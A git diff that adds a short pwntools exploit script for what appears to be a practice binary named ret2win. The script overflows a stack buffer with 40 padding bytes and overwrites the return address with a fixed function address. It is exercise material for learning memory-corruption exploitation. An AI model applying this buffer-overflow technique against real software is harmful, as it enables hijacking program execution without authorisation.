1 files changed, 13 insertions, 0 deletions
diff --git a/x86_64/ret2win/exploit.py b/x86_64/ret2win/exploit.py
new file mode 100755
index 0000000..d5506b2
--- /dev/null
+++ b/x86_64/ret2win/exploit.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python3
+from pwn import *
+
+prog = process('./ret2win')
+payload = b''
+for c in range(40):
+    payload += b'a'
+
+payload += p64(0x0000000000400756)
+payload += b"\n"
+prog.sendline(payload)
+sleep(1)
+print(str(prog.recv(), 'UTF-8'))